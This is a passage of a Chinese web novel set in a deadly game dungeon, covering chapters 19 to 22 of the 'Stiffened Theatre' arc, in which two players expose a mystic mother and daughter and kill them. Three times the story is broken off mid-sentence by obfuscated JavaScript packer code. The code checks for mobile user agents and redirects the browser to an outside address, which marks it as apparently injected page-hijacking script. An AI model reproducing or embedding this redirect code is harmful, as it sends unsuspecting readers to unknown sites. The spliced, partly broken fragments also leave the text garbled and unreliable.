但,这就是全部么?老团长怎么被麦格纳逼死的?为什么提到“腰斩”二字,就进入了隐藏线? 孟绎思考得很认真,似乎【僵化剧院】的剧情是他唯一应该关心的事。 【额,大佬,你忘了贺彩音么?】 【贺彩音自力更生地往外爬呢】 “救,救我……”贺彩音虚弱的声音唤回孟绎的注意力。 孟绎抬头一看,贺彩音捂着腹部,踉踉跄跄往他的方向走。 认真瞧着她好几秒,孟绎才想起这位是谁。 差点忘了,他还有个队友呢。 19.僵化剧院(17) 贺彩音靠墙而坐,自力更生地给自己缝合伤口。 她游戏外的职业是外科医生,在缝合人体这方面,比孟绎专业一些。 缝合过程,孟绎目不转睛,学得很认真。 既然伤口缝好了,贺彩音就不离开副本了。她仍惦记着“优才”评级的事。 “我爬上来时,听到二楼的观众区有异响,”贺彩音说,“我过去看了一眼……” 贺彩音述说起她的经历。 孟绎头也不回地离开,甚至没告诉贺彩音他要去做什么,贺彩音不甘心在原地等死,就扯了些碎布条,简单包扎伤口。 处理好伤口,贺彩音握着冶炼锤,到楼上碰运气,说不定能一锤子敲碎施加诅咒者的脑壳,她就能活下去了。 刚上了一层楼,贺彩音就听到“刺啦、刺啦”的声音,她屏住呼吸,循声而去,所见之景,让她大感诧异。 竟是一个老头子在撕墙纸。 那老头子浑身血迹,脖子被勒断,脑袋搭在肩膀上。右手被砍断,断腕处弹出无数细丝。 老者正是老团长莱斯特。 已经进入隐藏剧情,按理说,怪物应该攻击玩家,而不是搞装修。莱斯特却在这儿撕墙纸,只有一个解释:莱斯特对墙纸怨念极深。 贺彩音躲在墙角处,愈发感到奇怪:对一张墙纸,能有什么怨念?这墙纸克死了他亲爹亲妈? 那时,贺彩音还不确定莱斯特是不是施加诅咒的怪物,她打算碰碰运气,找机会宰了这老头。 她紧握冶炼锤,一点点从墙角处挪出来,靠近莱斯特。 莱斯特撕得很专注,完全没注意到玩家。 靠得近一些,贺彩音仔细观察着被撕掉的墙纸,以及墙纸撕掉后露出来的墙壁,依然没发现有什么问题。 剧院里的墙纸,华丽精美,偏神秘复古风。撕掉墙纸后,露出的旧墙纸描绘花草纹,偏自然淡雅风。 两种不同的装修风格而已,莱斯特撕墙纸干什么? 但贺彩音也没心情多想,她刚准备攻击,楼上传来玻璃被砸碎的巨大声响,是孟绎砸碎了镜廊的镜子。 声音没惊动莱斯特,但贺彩音高度警惕,她一时间不知该不该攻击,又慢慢退回到墙角处,静候时机。 过了两三分钟,系统长达一分钟的播报声响起,孟绎杀死布鲁图斯,诅咒消失,贺彩音当即扔下莱斯特不管,跑来投奔孟绎。 听完贺彩音的讲述,孟绎偏头看向走廊里的墙纸,不知在想些什么。 “小孟,你觉得墙纸有问题么?”贺彩音问。 孟绎抬手,刺啦一声挠破墙纸,果然,5楼的神秘风墙纸下方,也有一张自然风墙纸。 “这是秘术师喜欢的装修风格。”孟绎搓着被撕下来的神秘风墙纸。 “而这是巫术师的传统风格。”他一根手指挠了挠被这盖住的花草纹墙纸。 贺彩音皱眉:“仅此而已?” “仅此而已。” 对玩家来说,秘术师和巫术师差不多,前者是大BOSS,后者是小BOSS 孟绎作为曾经的秘术师,知道的稍微多一些:秘术师和巫术师是完全不同的两类人。 巫术更接近科学,通过实验、总结、归纳等方式,勘破世界的规律。 而秘术则接近神学,秘术师相信,一切力量皆是“密神”的恩赐,他们通过献祭、刺青、祈祷等多种方式,接收密神的力量。万相则是密神在人世间的代言者。 两类人在理念上有差异,但秘术师和巫术师同气连枝,互为一体——至少万相是这样说的。 孟绎对万相的观点保持怀疑,原因很简单:万相强调“同气连枝互为一体”太多次了。 被多次强调的事往往不完全正确。钱是好东西还需要反复提么? 莱斯特撕墙纸,不是对墙纸有意见,而是对秘术师有意见。 孟绎又回想起在仓库的经历,他扯断莱斯特的吊颈绳,莱斯特本来在攻击他,但当克吉尼亚进入仓库后,莱斯特立刻跑去攻击克吉尼亚。克吉尼亚就是秘术师。 莱斯特斩断自己的右手,在仓库墙壁上写了上百遍“滚出去”,很可能就是让克罗亚和克吉尼亚母女滚出去。 孟绎将自己的分析简要地讲给贺彩音听,随后说:“我们去找莱斯特。” 前往二层的路上,贺彩音问了一个值得思考的问题:“莱斯特为什么要砍断自己的右手?” 为了用断腕处的血在墙上写字?那割腕放血也可以做到,反正莱斯特都要自杀了,割腕和上吊都差不多。 思索时,他们已找到莱斯特。 莱斯特还在撕墙纸,仿佛这是唯一一件值得做的事。 进入隐藏线之前,孟绎和莱斯特交手过,那时莱斯特已完全疯了。现在进入隐藏线,莱斯特只会更加混沌,从他口中问不出任何有用的东西。 孟绎提起巨斧,正准备砍。想了想,又把斧头放下。 莱斯特与克罗亚、克吉尼亚二人是仇敌,而这对母女,是副本BOSS,留着莱斯特,说不定能在关键时刻起到作用。 比起直接要了莱斯特的命,孟绎对贺彩音提出的问题更感兴趣:莱斯特为什么要砍掉自己的右手? 以及,莱斯特为什么先撕二层的墙纸? 莱斯特在仓库中吊死,而仓库在四楼,进入隐藏线后,怪物更活跃,莱斯特要撕墙纸,四楼不是更近么?他特地跑到二楼,这层楼有什么特殊之处? 贺彩音打开地图,一会儿看看莱斯特所在的位置,一会儿看看手中的地图。 “有一个房间好像没在地图中标注出来。”贺彩音低声说。 莱斯特撕墙纸的位置,有一扇门,系统地图中却没有标注。剧院共5层,上百个房间,不一一比对着,极难发现。 弹幕中的老玩家迫不及待地说: 【我知道是什么!巫术牌工作间!】 【巫术牌工作间不会在地图中标注出来,绝大多数玩家也不会仔细找,因为一旦有一名玩家进入巫术牌工作间,整个副本将立刻开启隐藏线】 【反正孟绎都开启隐藏线了,进去看看呗,又没什么影响】 【谁说没影响?巫术牌工作间不会在地图中标注出来,自然也不会标注出危险系数。但每一个巫术牌工作间,都是危险区域。】 “进去看看。”孟绎说。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558015|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贺彩音:“啊?可是莱斯特就在那扇门旁边。” 话没说完,孟绎已朝那扇门走过去,他丝毫没收敛气息和脚步,莱斯特耷拉在肩膀上的脑袋颤动了一下,浑浊的双眼死死盯着孟绎。 下一秒,孟绎揪着他的衣领,把他往地上一掼,莱斯特摔得半晌爬不起来,孟绎从容地拉开门,还很绅士地向贺彩音做了个“请进”的手势。 贺彩音:“……” 她连忙跑过去,在莱斯特扑上来之前,用后背堵住门。 房间不算大,10平米左右,两侧堆满小盒子,一直顶到天花板。散落的空白卡牌铺满整个房间。 工作间恰在舞台上方,透过墙壁的镂空处,可以俯瞰舞台全景。 克吉尼亚和所有被腰斩的舞者,正在舞台上跳舞。 莱斯特咣咣咣地撞击房门,贺彩音用全身的力气抵抗。演出厅传来的音乐声、半截人砸向舞台的咚咚声,以及莱斯特撞门的声音混杂在一起,无比吵闹。 “房间有什么线索?”贺彩音大声喊。 孟绎打量着一堆纯白碎片:“巫术师会用卡牌召唤一些特效,房间又在舞台上方。过去,工作人员会在这间屋子里准备好特效卡牌,演出需要时,把卡牌丢出去。” “我是问和副本有关的线索!”贺彩音两脚死死抓着地,门板已被莱斯特撞出裂纹。 “这堆白色碎片……”孟绎蹲下身,不疾不徐地把碎片拼在一起。 那是一尊纯白的瓷像,拼好后,是一个头戴兜帽、披白色斗篷、看不清面目的人。 兜帽头顶的位置,竖起两只尖角,看起来像白猫的耳朵。 “小猫塑像很可爱!”贺彩音咬牙切齿地喊,“拜托!你不怕死,我怕死!女鬼已经爬上来了!” 克吉尼亚正顺着舞台的幕布往上爬,目标正是两位玩家所处的巫术牌工作间。被腰斩的半截舞者,扑通扑通地往上跳。 “这不是小猫塑像,”孟绎说,“祂是万相。” 莱斯特砸碎了万相的塑像,这也和孟绎现有的信息相符合,他憎恨秘术师,自然也讨厌万相。 那么,莱斯特砍掉自己一只手,和秘术师有关系么? “小心!”贺彩音大喊。 孟绎身后,克吉尼亚的爪子已搭在工作间的窗台上,这只爪子随时会挠到孟绎的脑袋。 一张苍白、病态的脸,从窗沿处浮出,克吉尼亚咧开艳红的嘴唇,阴森森朝孟绎一笑。 又有几颗脑袋探出来,那是被腰斩的舞者,他们顶着花成一团的舞台妆,向孟绎露出同样可怖的微笑。 唱针再次卡住,乐曲变成噪音。 孟绎回过头,瞧了瞧克吉尼亚,她双唇涂得艳红、眼线描得清晰,孟绎又打量着其他舞者片刻,问了个似乎很奇怪的问题:“麦格纳的妆也花了,是不是?” 房门的合页脱落,钉子弹出来,莱斯特咚的一声再次撞击,贺彩音差点被压在门下,她死死咬着牙关,拼尽全力把门顶回去。 “是的!麦格纳的妆也花了!”贺彩音几乎在嘶吼,“算我求你……” 一句话没说完,克吉尼亚尖利的指甲朝孟绎的脸挠过来。 20.僵化剧院(18) 莱斯特将房间门撞开一道缝隙,克吉尼亚的指甲眼看着就要挠到孟绎的鼻子…… 弹指之间,孟绎的身体如灵蛇般弹起,以不可思议的轻捷,从撞开的门缝里钻出房间。 贺彩音只觉得眼前黑影一闪,克吉尼亚抓空,孟绎从视野中消失。 扑通一声,莱斯特被踹进房间,下一秒,孟绎关上房门,将莱斯特、克吉尼亚和半截舞者关在同一个房间里。 还有贺彩音。 孟绎溜走不带她,贺彩音和一群怪物,被关在这如同斗兽场的小房间。 她想推门跑出去,但孟绎在外面堵着门,她的力量怎能与孟绎抗衡? 【妹子实惨】 【被孟绎抛弃了没关系,还可以被抛弃第二次、第三次】 “呵、呵、呵……又是你。”克吉尼亚四肢着地,以野兽的姿态爬行,抬起那张美艳、阴森的脸,直勾勾地盯着莱斯特,“老东西,逼得你上吊的是麦格纳,不是我们。” 莱斯特耷拉在肩膀上的脑袋抖动一下,右手断腕处的钻出的细丝,悄无声息靠近克吉尼亚。 克吉尼亚:“麦格纳疯疯癫癫,舞台频出事故,导致整个舞团入不敷出。我母亲收购舞团,保住了你们的饭碗。” 她靠近莱斯特,嗅了嗅他的断腕:“我母亲宽容,没把你赶走,而是让你去做仓库管理员,你太不识趣……” 贺彩音的后背紧靠着房门,此刻,她镇定了一些,因为她发现,没有怪物的仇恨锁定在她身上。 与此同时,贺彩音想起孟绎奇怪的问题:麦格纳的妆也花了,是不是? 妆容,有什么问题?贺彩音慢慢蹲下身,尽量减少自己的存在感,同时观察着克吉尼亚的妆容。 克吉尼亚的妆没花,第一次见面,她艳红的双唇就给玩家留下了深刻的印象。 “不过是让你追随万相大人,侍奉密神,你怎么不识趣?”克吉尼亚嘶哑着嗓子问。 秘术师、巫术师、妆容、断手……这四者之间有什么关联?贺彩音飞速思考着,她悄悄移动到墙角,用一组柜子挡住自己的身体。 莱斯特的脑袋又抖了抖,他开口,声音粗粝嘶哑:“伪善、骗子……” 断腕处的游丝缠住克吉尼亚,战斗瞬间被引爆,克吉尼亚、半截舞者和莱斯特缠成一团,轰轰烈烈地厮打。 贺彩音缩成一团,右手死死攥着什么东西:秘术师信仰密神,追随万相。巫术师通过实验和总结寻找世界的规律…… 这和彩妆、断手有什么关系? 冷静、冷静。贺彩音不断对自己说。她右手死死拇指扣着左手的食指,用力之大,指腹被抠破,渗出暗红的一滴血。 贺彩音强迫自己冷静思考时,就会迫害左手食指,这是她的习惯。考试时,她会用中性笔刺左手食指的指腹,工作时,她会用针管刺指腹…… 等等,刺。贺彩音倏地抬起头,紧盯着克吉尼亚的脸。 孟绎说过,秘术师会通过献祭、刺青、祈祷等方式,向密神祈求力量。 克吉尼亚那完好无损的妆容,不是口红和眼线,而是刺青! 砍断右手呢?和这一切有什么关系? 克吉尼亚已将莱斯特击倒,单手按着他软绵绵的脖子:“你们这群蠢货,妄想越过神,窃取力量。结果如何呢?” 某一刹那,灵感的闪电从贺彩音脑中划过:莱斯特的右手被纹上了秘术师的刺青,他接受不了,才砍掉自己的右手。 贺彩音的目光定格在某处:那尊被砸碎的万相瓷像。 就在那堆白色碎片的不远处,有一只干瘪、漆黑的手掌。 贺彩音飞扑过去,抓住那只手掌,扔到莱斯特身上。 断腕处的游丝接触到手掌,瞬间像通电的导线,噼里啪啦地闪烁,游丝缠着断章,接在莱斯特的手腕上。 整条右臂抽搐、抖动。血液涌入刚接好的手掌,原本干瘪的皮肤和肌肉,眨眼间焕发蓬勃生机。 断手恢复血色后,手背和手掌密布诡异而繁密的纹身浮现。 纹身顺着莱斯特的手臂,蔓延至他的全身。 克吉尼亚怒吼一声,脑袋上下颠倒转了一圈,切换到野兽状态。更惨烈的厮杀开始。 血液四溅,哪怕贺彩音躲在角落处,也被淋了满身。但她没有任何恐惧,冷眼看着怪物们自相残杀。 仅在15分钟前,克吉尼亚刚被爆炸的护身符重伤;30分钟前,孟绎、贺彩音和刘明三人横穿演出厅,将大部分半截舞者砍伤。 克吉尼亚和半截舞者只剩半条命,而莱斯特被纹身强化。 这场战斗结束得很快,当贺彩音将左手指腹扣出第二道伤口时,莱斯特已将所有半截舞者砸成一滩烂泥,克吉尼亚倒在地上,奄奄一息。 “母亲大人啊……”克吉尼亚的血盆大口中,咳出一团污血,“这是对我惩罚么?” 克吉尼亚一手刺入自己的胸腔,硬生生把心脏挖出来,似乎想将心脏捏碎,又没下定决心。 数秒后,她已没了力气,双目圆睁,手里握着滴血的心脏,死了。 莱斯特俯视满地的尸体,偏过脸,视线越过贺彩音,望着楼下,血迹斑斑的舞台。 他用右手将自己的脑袋扯了下来,无头尸体扑通一声砸在地板上。 房间内安静了数秒,贺彩音还蹲在原地,一动不动,直到系统的声音响起: “【杂役-贺彩音】【杂役-孟绎】触发隐藏剧情【自相残杀】” “【杂役-贺彩音】获得【隐藏剧情卡:不必要的牺牲】” “【杂役-贺彩音】【杂役-孟绎】获得成就【真正的斗争】” “副本中,利用剧情、规则等,不正面交锋而令秘术师/巫鬼之间自相残杀而死,将获得成就【真正的斗争】” 贺彩音向后一靠,坐在地上,呼哧呼哧喘着粗气。 播报时,她的名字排在孟绎前面,她的贡献更多…… 门板砸在尸体上,孟绎这才试试然走进房间。 “谢谢你。”贺彩音说。 孟绎把她关在房间里,不是想害她,而是想让贺彩音做出更多贡献,获得隐藏剧情卡,提升贺彩音的资质评级。 孟绎捡起克吉尼亚的心脏,轻轻嗅了嗅。 “心脏有问题?”贺彩音走过来,轻轻触碰了一下黏腻的暗红色血液。 手指刚碰到心脏,贺彩音头昏脑涨、心悸胸闷、肌肉紧张,全身渗出冷汗。 这种感受,很像焦虑症躯体化。 贺彩音连忙收回手,但那种恶心的感觉如跗骨之蛆,一时半会儿甩不掉,她的大脑开始不受控制地回忆痛苦的事。 那个应该被称为“父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562419|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲”的人,是强女干犯,被他侵犯的对象是贺彩音的班主任。 紧随而来的是老师们的厌恶,同学们的讥笑,永远在角落里的座位、永远会“不小心”砸中她的篮球、她的脸被P在黄色小广告上贴满每一个厕所隔间…… 后来、后来……那场同学聚会,贺彩音不请自来…… “你还好么?”一只手搭在贺彩音肩上。 贺彩音猛然回过神,眼神变得极冷:“我没事。这颗心脏不对劲。” “嗯,”孟绎说,“我在这颗心脏上感受到邪念。” 孟绎没有回忆起什么痛苦的事,或许是因为副本BOSS间心照不宣的那件事:成为副本BOSS前,万相抹去了他们所有记忆。 作为副本BOSS的生活枯燥无趣,对孟绎来说,最伤心的事莫过于那次他好不容易获得一匹宣义布,还被万相抢走了。 但孟绎能感受到附着在心脏上邪恶的力量。 他找了个角落坐下,翻开《信仰秘典》,克吉尼亚那一页更新。 【野兽舞者·克吉尼亚】 攻击方式1:兽化 攻击方式2:偷心(克吉尼亚可使用偷心技能,让对方深陷负面情绪,无法自拔) 绝技:真实面目(野兽主舞可切换至野兽形态,使用兽化攻击) 背景故事解锁:克吉尼亚的偶像是麦格纳,她热爱提尔·纳·诺恪的舞蹈,她认为这般的优雅,才是真正的舞蹈。 :观众席鼓掌的人中,她最热情,最真挚。当她成为舞者,进入麦格纳的舞团,能与偶像一同站在舞台上时,克吉尼亚觉得这一切像梦一般美好。 :然而,麦格纳演出频频失误,并迁怒布鲁图斯。克吉尼亚想和布鲁图斯一起,帮助麦格纳找回状态。但麦格纳误认为克吉尼亚插足他们的感情,对她恶语相向。 :敬仰变成失望、变成憎恶。 …… 后来的内容,孟绎已经知道了,麦格纳的状态越来越差,克吉尼亚将接替她成为主舞时,发疯的麦格纳将克吉尼亚的脸划花。 “秘术师的故乡,不是提尔纳诺恪么?”贺彩音忽然问。 孟绎怔了一下,从他有记忆开始,秘术师就生活在提尔纳诺恪,这里当然是秘术师的故乡,贺彩音何出此问? 贺彩音指着背景故事第一句话:“你看,‘她热爱提尔·纳·诺恪的舞蹈,她认为这般的优雅,才是真正的舞蹈’。” “这句话隐含比较,克吉尼亚原来接触的舞蹈,似乎不是提尔纳诺恪的舞蹈,她才会有这样的感受。” 孟绎沉默良久,他觉得贺彩音的话有道理。 秘术师似乎是外来者,奇怪的是,作为曾经的秘术师,孟绎竟一点也不知道这段历史。 他当了副本BOSS一百多年,竟不知道,秘术师本不属于提尔纳诺恪,他们是外来者。或许……是侵略者。 正想着,系统的声音突兀地响起: “【杂役-孟绎】【杂役-贺彩音】,请尽快离开僵化剧院副本。” “请尽快离开僵化剧院副本。” 直播间关闭,漆黑的屏幕映出观众们茫然的脸。 这对经验丰富的玩家来说,不算太奇怪。深入探索隐藏线到一定程度时,直播间就会关闭。 有些事,系统似乎不想让所有人知道。 21.僵化剧院(完) “请尽快离开副本。” “尽快离开副本。” 系统平静无波的语调,莫名带着压迫感。但孟绎没挪步,贺彩音也没动。 “你打算走么?”贺彩音问。 孟绎摇头。这个副本带给他很多惊喜,他想继续玩下去。 贺彩音:“我也不走。” 抱大腿当然要抱到底,距离真相只有一步之遥,哪有离开的道理。 系统催促他们离开,似乎不希望他们知道某些事。 越不让做的事,诱惑力越大。更何况,他们还有一个谜团没有解开:为什么提到“腰斩”,就会进入隐藏线。 以及,副本中第二个BOSS克罗亚,至今还没露面呢。 “请尽快离开副本。”系统最后说了一遍。 话音刚落,寒气蔓延,血泊中凝结出冰晶,寒风从窗洞和门洞中吹进来。 孟绎没什么反应,但贺彩音暗道不好。 是那种邪恶的力量,唤醒痛苦的记忆,令人在悲痛的泥沼中沉沦。贺彩音全身紧绷,喉咙仿佛被扼住,扣着左手食指的手不停颤抖。 “太有好奇心不是好事。”声音从观众席传来。 走到窗边一看,克罗亚端正地坐在观众席第一排,那张和克吉尼亚七分相似的脸冷若冰霜。 孟绎提着巨斧,从窗口跳到舞台上。 他用手臂擦拭巨斧,斧刃划破衣袖,在孟绎坚硬的皮肤上擦出一连串火花。 “告诉我,这里发生过什么?”孟绎问。 他眼前,一行红字弹出:“新手副本引导开启。” “是否使用【剧情卡:僵化】” 《游戏手册》中写着:某些特殊时刻,使用剧情卡,可以降低副本难度。 但什么时候使用剧情卡,用不用剧情卡,由玩家决定。有可能触发好结果,也可能带来灾难。 这是新手副本,才会直接弹出提示。孟绎选择使用。 克罗亚果然没有开启攻击,并且,不断蔓延的寒意被阻塞,温度没有继续下降。 她神往地望着舞台,仿佛看见了精彩绝伦的演出,被迫开启“反派死于话多”模式:“你觉得巫术师的舞蹈美么?” 孟绎没答话。 “他们的舞蹈多无趣啊,”克罗亚自顾自地往下说,“舞蹈是献祭的表演,应该伴随死亡、惨叫、恐怖。” “我不喜欢巫术师的舞蹈。”克罗亚说,“我更不喜欢麦格纳。可我的女儿喜欢她。” 这时,贺彩音也沿着幕布,一点点爬了下来,她拿出【隐藏剧情卡:不必要的牺牲】,选择使用。 贺彩音:“所以你用秘术,篡改了你女儿的心灵,让她从敬仰麦格纳,变成忌恨麦格纳,是不是?” 剧情卡化作光点,融入克罗亚的身体。她像被什么封印了似的,诚实地回答玩家的问题。 “是啊,我像你说的那样做了,”克罗亚梦呓似的呢喃,“我们是秘术师,受密神庇佑的子民,怎么能爱上巫术师的拙劣艺术?” “可是麦格纳那个疯子,毁了我女儿,她划花了我女儿的脸。” 这句话说完,寒意重新蔓延,克罗亚的眼中闪过杀意。 “你还有没有剧情卡?”贺彩音低声迅速问,“再多问她几句,我找机会偷袭她。” 孟绎手中还有三张【剧情卡:情杀?】【剧情卡:至亲至疏】【隐藏剧情卡:台上台下】 他纠结了一会儿,选择使用第二张剧情卡【至亲至疏】 寒意的蔓延再次停止,克罗亚轻笑一声:“我早就说过,巫术师是被遗弃的、低劣的民族。你看到了吧,布鲁图斯对麦格纳施加诅咒,导致麦格纳状态越来越差,频频失误。” “巫术师之间的内斗,与我和我的女儿无关。” 孟绎再次使用【剧情卡:情杀】 克罗亚耸耸肩:“我说过了,麦格纳是疯子。她误以为我的女儿和布鲁图斯之间有情意。怎么可能呢,我的女儿不会爱上一个卑鄙的巫师。” 这一切似乎说得通:麦格纳状态不佳,多次出现失误,脾气越来越差,把布鲁图斯当做出气筒,并怀疑布鲁图斯和克吉尼亚关系不正当。 布鲁图斯忍无可忍,对麦格纳施加诅咒,造成恶性循环,越来越多的失误,越来越差的精神状态…… 久而久之,麦格纳疯了,杀死布鲁图斯,将克吉尼亚毁容,并将舞团所有人腰斩。 但是……回到最初的问题,作为舞台上的明星,令所有舞者钦佩的麦格纳,为何会忽然间“状态不佳”? 孟绎甩出手里最后一张牌【隐藏剧情卡:台上台下】 “你更改过《怨侣》的剧目,增加了女主将男主腰斩的情节,是不是?”孟绎问。 克罗亚脸色一变,阴沉地盯着孟绎。 孟绎:“你仅仅是因为不喜欢原有的剧情,才做出改动么?还是别有用心?” 克罗亚面颊的肌肉抽搐,许久后低沉地笑了一声:“剧情?不,我才不在乎巫术师无聊的舞剧。我只想毁了麦格纳。” “我不能接受她的舞蹈,比秘术师的舞蹈更受欢迎。” 她倏地站起来,一步步朝孟绎贺彩音二人走来。 “如何彻底毁掉一个舞者?”克罗亚癫狂地笑着:“打断她的腿?划花她的脸?不,都不行,那只会让麦格纳成为短暂出现、永远闪耀的传奇。” 克罗亚:“我要她在舞台上频频失误。我要让她最狼狈的一面,被所有观众看到……” 初次来到提尔纳诺恪,走进这间剧院,看到麦格纳的舞蹈,克罗亚永远记着当时的感受:震撼、感动、还有……嫉妒。 《怨侣》演出结束,台下掌声雷动,克罗亚一动没动。 她不能接受麦格纳如此受欢迎。 于是,克罗亚接近老团长莱斯特,用她的偷心技能,让老团长逐渐被负面情绪侵蚀,并强行在莱斯特右手上刺上了秘术师的纹身。 莱斯特逐渐癫狂,他的状态影响了整个舞台,麦格纳出现第一次失误,一个小小的失误,观众没有发现。 但克罗亚知道,机会来了。 她收购舞团,让老团长去守仓库。随后,克罗亚更改《怨侣》的剧目,增加女主将男主腰斩的剧情,并不断打压麦格纳。 “你跳得不对。” “错了,全错了。作为主舞,这就是你的水平么?” “剧目没有问题,是你的问题。” “杀了布鲁图斯,你恨他。” “你的思维僵化了。” 一次次的打压,一次次摧毁麦格纳的信心。 很快,麦格纳也疯了,她将成为舞台上的笑话。 “巫术师就是这般脆弱,”克罗亚嗤笑,“仅仅是几次否定,就能让他们一蹶不振。” 孟绎沉吟片刻:“你把她逼疯,然后说她本来就是疯子。” “我逼疯了麦格纳?”克罗亚摇摇头,“不,我一次也没有对麦格纳使用‘偷心’技能。她自己发疯了,她本来就是疯子!” 克罗亚咆哮一声,大张开长满尖牙的嘴,朝孟绎的脖子咬过来。 冰晶似的尖牙,停在距离孟绎皮肤不足半厘米的位置。孟绎越过克罗亚的肩膀,看到贺彩音布满细汗的额头。 贺彩音指缝里夹着一根毒针,针尖刺入克罗亚颈椎的缝隙。 “老玩家给我的杀手锏,”贺彩音呼出一口气,“小孟,我不是故意瞒着你的,刚才一直在直播,我不想引起不必要的关注。” 高级道具对付新手副本BOSS,堪称降维打击,深紫色的毒液沿针孔向外扩散,只在一个呼吸间,侵蚀克罗亚全身。 她侧身倒在舞台上,双目圆睁,眼睛亮着恶毒的光。 孟绎蹲在她身边,轻声问:“秘术师是入侵者,秘术师不属于提尔纳诺恪,对么?” 克罗亚呕出一口毒血:“提尔纳诺恪是密神留给秘术师的应许之地,巫术师只是先一步到达这里。” “哦。所以,秘术师是入侵者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562420|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”孟绎一只手搭在克罗亚的脖子上,稍稍用力。 “我为你们的卑鄙感到羞耻。”孟绎轻声说,他今天才知道,他所属的群体如此邪恶。 “拥抱自由吧。” 咔嚓一声,克罗亚的脖子被掐断。 副本内,所有灯光一瞬间熄灭,克罗亚恶毒的双眸逐渐暗淡无光。 系统:“僵化剧院副本内全部秘术师/巫鬼已被清除,副本即将关闭。” “副本结算信息将在2小时内发布,请在提尔·纳·诺恪APP中查收。” …… 眩晕感袭来,再睁开眼,孟绎发现自己身处于一间宽阔古典的书房里,面前的桌子上,摆着一张人皮纸。 他身边坐着贺彩音,还有另外两位不认识的玩家。 “你们也是完美通关?”陌生玩家问。 贺彩音点点头。 完美通关,指的是探索副本全部剧情。完美通关后,副本将永久关闭。 “这是你们第几个副本?”那人问。 贺彩音:“第一个,新手副本。” 新手副本就完美通关??两名老玩家大惊失色。 孟绎没加入谈话,他阅读着人皮纸上的内容: “【杂役-孟绎】请做出你的选择。” “选择1:成为噤声书店的会员。” “选择2:死亡。” 噤声书店的会员?这是什么意思? 孟绎稍加思考,很快得出答案:秘术师是侵略者,而万相是秘术师的领袖。 这件事,万相肯定不愿意让玩家知道,万相要让孟绎闭嘴。 四个人都在“成为噤声书店会员”后面打钩。 刚放下笔,房门被推开,走进来十几个身披红色斗篷的人。 这十几人均带着全脸面具,面具上打着一个大大的红叉。孟绎感觉他们也是玩家,高级玩家。 其中一个红袍面具人,从进门之后,目光就锁定在孟绎身上。 进入提尔纳诺恪,孟绎没有易容。首先,孟绎不会易容,其次,绝大多数人根本见不到他,见过他的绝大多数都死了。 孟绎安然坐着,任由他打量。 两个人按住孟绎的两条胳膊,一人捏住孟绎的下巴,强行让孟绎张开嘴。 其中一人拿出一枚造型奇怪的东西:一根细细的金属棍,一头是小圆球,另一头是红叉。 孟绎不太喜欢被人按着,稍一用力,将那两人推倒。 那两人狼狈地爬起来,虽然他们带着全脸面具,但仍能从肢体语言中读出他们的惊讶:这人的力量怎么这么大?? 面具人似乎不被允许说话,沉默地走上前,再次试图将孟绎按住,再次被孟绎推开。 “不要按着我,我会配合你们的工作。”孟绎说。 但孟绎很快后悔了,他余光看到其中一个面具人用顶端是红叉的奇怪金属棍,刺穿了贺彩音的舌头。 红叉金属棍是一枚【噤声舌钉】,为保证玩家不泄密,每一位完美通关的玩家,都要被打上舌钉。 孟绎接受不了穿舌,他立刻食言,坚决不配合工作,第三次推开试图给他穿舌钉的面具人。 其他三名玩家早已穿好舌钉,由面具人带领着离开书房,只剩孟绎和面具人扭打纠缠。 数名面具人手忙脚乱但按不住孟绎,急得焦头烂额。 这时,从进门开始就盯着孟绎的面具人开口了:“你们出去。” 这位面具人显然是头目,他一发话,其他面具人纷纷遵命,向头目面具人鞠躬行礼后,悄无声息地离开房间。 房门关闭,屋内只剩下孟绎和头目面具人。 那人摘下面具,欠身行礼,露出一张清瘦、文雅的面孔:“布道者解倾河,为您服务。” 看到解倾河的脸,孟绎在心中感叹:哇哦。 见过奈落珈还能活着离开副本的人寥寥无几——寥寥无几的意思是只有一人。 解倾河就是那个唯一。 22.朗煜:已死亡 孟绎盯着解倾河,没说话也没什么举动。 “没想到会在这里见到您。”解倾河平静地说。 他拿着舌钉靠近孟绎,动作轻而缓:“完美通关的玩家必须成为噤声书店会员,打上噤声舌钉。” 解倾河吐出舌头,舌尖的位置,缓缓出现一枚红叉舌钉。 “打上舌钉后,有些秘密,无法告知非会员。口述,写下来,连环画……任何表达方式,都会被万相屏蔽。”解倾河轻轻捏着孟绎的下巴,让他张嘴。 那枚冰凉的舌钉,放在孟绎的舌面上。 “我们无法毁掉这枚舌钉,但您应该可以。”解倾河的声音更轻,如同耳语,“毁了它,万相不会发现。” 孟绎像嚼碎硬糖似的,嘎嘣嘎嘣把舌钉咬碎。 “这里不适合详谈,请来这里见面,如果您愿意见我的话。”解倾河将一张命运级身份卡放在孟绎面前的桌子上,牌名是【噤声书店会员】 